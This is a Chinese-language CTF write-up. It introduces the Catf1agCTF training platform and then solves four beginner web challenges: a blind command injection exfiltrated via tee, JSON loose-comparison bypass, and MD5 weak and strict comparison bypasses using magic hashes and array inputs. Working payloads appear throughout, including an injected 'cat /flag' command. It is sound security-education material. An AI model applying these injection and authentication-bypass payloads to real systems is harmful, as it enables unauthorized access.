前言
Catf1agCTF 是一个面向所有CTF(Capture The Flag)爱好者的综合训练平台,尤其适合新手学习和提升技能 。该平台由catf1ag团队打造,拥有超过200个原创题目,题目设计注重知识点的掌握,旨在帮助新手掌握CTF相关的各种技能 。除了新手题目,平台也包含难度不一的题目,适合不同水平的CTF参与者 。
平台上的题目类型多样,包括WEB、MISC、CRYPTO、LINUX、PWN/ATTACK、REVERSE等,题目分数制度从60分到100分不等,难度从1星到5星 。题目提交时需要包含完整的题目环境、flag以及writeup,以确保题目的完整性和可解性 。
此外,Catf1agCTF平台还提供了一些辅助工具和资源,如在线工具箱、SRC资料和HW资料等,以帮助用户更好地进行学习和实战演练 。平台的网址为 https://catf1ag.cn/,有意向的用户可以通过官方邮箱catf1ag@163.com进行联系 。对于想要加入交流的用户,平台还提供了官方QQ群和频道,方便用户之间的互动和交流 。
需要注意的是,平台上的部分题目可能需要特定的环境配置,例如WEB题目会包含dockerfile,而PWN/ATTACK题目则必须包含dockerfile以确保题目环境的完整性 。对于题目的flag格式,平台有统一的要求,即flag需要以"catf1ag{}"的格式呈现 。
总的来说,Catf1agCTF是一个资源丰富、适合各个水平CTF爱好者的训练平台,无论是新手还是有经验的参与者,都能在这里找到适合自己的学习和提升机会。
一、[两小时AK赛] 你猜猜是什么注入
打开靶场
打开页面如下
先输入 ls 没反应
输入单引号则报错
那么回显应该是被隐藏了,我们可以使用 tee 命令将输出复制到另一个文件中
/?catf1ag=ls /|tee 1.txt
再访问那个文件可以看到 flag
同样的方法
/?catf1ag=cat /flag|tee 1.txt
二、json_2
打开靶场
给出了源码
我们需要传入值使其等于 $key 这个字符串
<?php
show_source(__FILE__);
$strs = json_decode($_GET['strs']);
$key = '************************';
$flag = 'catf1ag{***********************************}';
foreach($strs as $keys=>$values){
if($values == $key){
echo $flag;
}else{
echo 'failed';
}
}
布尔值 true 等于任何字符串,所以可以构造 /?strs={"0":true}
三、MD5 弱比较
打开靶场
给出了源码
需要输入两个值且不能相等,但是 md5 得是相等
<?php
header("Content-Type:text/html;charset=utf-8");
show_source(__FILE__);
include('flag.php');
$username = $_GET['username'];
$password = $_GET['password'];
if($username != $password){
if(md5($username) == md5($password)){
echo 'GET_FLAG:'.$flag;
}else{
echo 'md5校验出错...';
}
}else{
echo '用户名密码不能相等!';
}
PHP 在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同
以下值在 md5 加密后以 0E 开头:
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
- s214587387a
可以构造:/?username=QNKCDZO&password=s878926199a
四、MD5 强对比
打开靶场
给出了源码
如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的
<?php
header("Content-Type:text/html;charset=utf-8");
show_source(__FILE__);
include('flag.php');
$username = $_GET['username'];
$password = $_GET['password'];
if($username != $password){
if(md5($username) === md5($password)){
echo 'GET_FLAG:'.$flag;
}else{
echo 'md5校验出错...';
}
}else{
echo '用户名密码不能相等!';
}
构造:?username[]=1&password[]=2